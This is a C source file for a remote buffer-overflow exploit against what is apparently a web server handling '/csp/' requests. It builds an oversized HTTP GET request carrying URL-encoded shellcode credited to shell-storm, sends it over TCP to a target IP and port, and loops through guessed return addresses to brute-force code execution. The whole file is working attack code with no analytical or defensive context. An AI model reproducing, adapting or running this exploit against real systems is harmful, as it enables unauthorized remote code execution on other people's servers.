|
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> #include <sys/socket.h> #include <arpa/inet.h>
/* Shellcode written by gunslinger, http://www.shell-storm.org/shellcode/files/shellcode-679.php */
char code[] = "%eb%11%5e%31%c9%b1%43%80%6c%0e%ff%35%80%e9%01" "%75%f6%eb%05%e8%ea%ff%ff%ff%95%66%f5%66%07%e5" "%40%87%9d%a3%64%a8%9d%9d%64%64%97%9e%be%18%87" "%9d%62%98%98%98%be%16%87%20%3c%86%88%be%16%02" "%b5%96%1d%29%34%34%34%a3%98%55%62%a1%a5%55%68" "%66%68%68%6c%55%62%9a%55%64%97%9e%a3%64%64%a8" "%9d%3b";
void usage() { extern char *__progname;
(void) fprintf(stderr, "usage: %s ip port\n", __progname);
exit(EXIT_FAILURE); }
char *build(char *code, char *eip) { char nops[1024], *egg; int len = 1094; memset(nops, '@', sizeof nops); egg = (char *) malloc(4096); (void) snprintf(egg, 4096, "GET /csp/%.*s%s%.*s%%%02x%%%02x%%%02x%%%02x HTTP/1.0\r\n\r\n", 512, nops, code, len - (9 + 512 + (int) strlen(code) / 3 + 4 + 13), nops, eip[0] & 0xff, eip[1] & 0xff, eip[2] & 0xff, eip[3] & 0xff); return egg; }
int overflow(char *ip, char *port, char *egg) { char reply[1024]; struct sockaddr_in sin; int n, e, s;
bzero(&sin, sizeof sin); sin.sin_family = AF_INET; e = inet_pton(AF_INET, ip, &sin.sin_addr.s_addr); if (e == -1) return -1; sin.sin_port = htons(strtol(port, NULL, 0)); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == -1) return -1; e = connect(s, (struct sockaddr *) &sin, sizeof sin); if (e == -1) return -1; n = write(s, egg, strlen(egg)); if (n != strlen(egg)) return -1;
(void) read(s, reply, sizeof reply); (void) close(s); return 0; }
int try(char *code, char *ip, char *port, char *addr) { char *egg; int e; (void) fprintf(stderr, "(trying %p)\n", addr);
egg = build(code, (char *) &addr); e = overflow(ip, port, egg); if (e == -1) return -1; free(egg); return 0; }
int main(int argc, char **argv) { char *ip, *port; u_int64_t addr; int e;
if (argc != 3) usage(); ip = argv[1]; port = argv[2]; for (addr = 0xf7da4dc0;; addr -= 4096) { e = try(code, ip, port, (char *) addr); if (e == -1) errx(1, "try"); sleep(1); addr ^= 0x40000; e = try(code, ip, port, (char *) addr); if (e == -1) errx(1, "try"); sleep(1);
addr ^= 0x40000; }
exit(EXIT_SUCCESS); }
|